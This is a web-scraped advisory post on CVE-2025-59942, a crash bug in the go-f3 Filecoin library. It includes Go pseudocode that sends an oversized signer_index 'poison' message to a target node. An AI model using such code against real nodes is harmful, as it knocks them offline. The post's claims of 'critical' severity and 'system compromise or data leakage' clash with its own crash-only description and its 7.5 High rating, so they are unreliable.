{"id":87061,"date":"2026-06-07T03:23:40","date_gmt":"2026-06-07T03:23:40","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T00:00:00","slug":"cve-2025-59942-filecoin-nodes-vulnerability-due-to-poison-messages-in-go-f3","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-59942-filecoin-nodes-vulnerability-due-to-poison-messages-in-go-f3\/","title":{"rendered":"CVE-2025-59942: Filecoin Nodes Vulnerability Due to Poison Messages in go-f3<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The vulnerability CVE-2025-59942, a critical issue affecting the Golang implementation of Fast Finality for Filecoin (go-f3), has notable implications for Filecoin nodes. This vulnerability is due to a flaw in versions 0.8.6 and below, where ‘poison’ messages can induce a panic in go-f3, leading to potential system compromise or data leakage.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-59942
\nSeverity: High (7.5)
\nAttack Vector: Network
\nPrivileges Required: Low
\nUser Interaction: None
\nImpact: System compromise or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

go-f3 | 0.8.6 and below<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability resides in the validation process of go-f3, where a specific type of poison message can cause an integer overflow in the signer index validation. This results in the node crashing. An attacker can exploit this vulnerability by directly sending the poison message to the target, which doesn’t require any user interaction. The message is not self-propagating as the bug lies within the validator.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here’s a conceptual example of how the vulnerability might be exploited. This pseudocode represents a ‘poison’ message being sent to a node.<\/p>\n

package main\nimport (\n\"net\"\n\"log\"\n\"fmt\"\n)\nfunc main() {\nconn, err := net.Dial(\"tcp\", \"target.node.com:port\")\nif err != nil {\nlog.Fatal(\"Connection failed: \", err.Error())\n}\n\/\/ Crafting the poison message\nmsg := fmt.Sprintf(\"{\\\"signer_index\\\": %d}\", 1<<31)\n_, err = conn.Write([]byte(msg))\nif err != nil {\nlog.Fatal(\"Failed to send poison message: \", err.Error())\n}\n}<\/code><\/pre>\n
This code attempts to connect to the target node and send a crafted poison message that would cause an integer overflow and crash the node.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview The vulnerability CVE-2025-59942, a critical issue affecting the Golang implementation of Fast Finality for Filecoin (go-f3), has notable implications for Filecoin nodes. This vulnerability is due to a flaw in versions 0.8.6 and below, where ‘poison’ messages can induce a panic in go-f3, leading to potential system compromise or data leakage. Vulnerability Summary CVE […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-87061","post","type-post","status-publish","format-standard","hentry"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t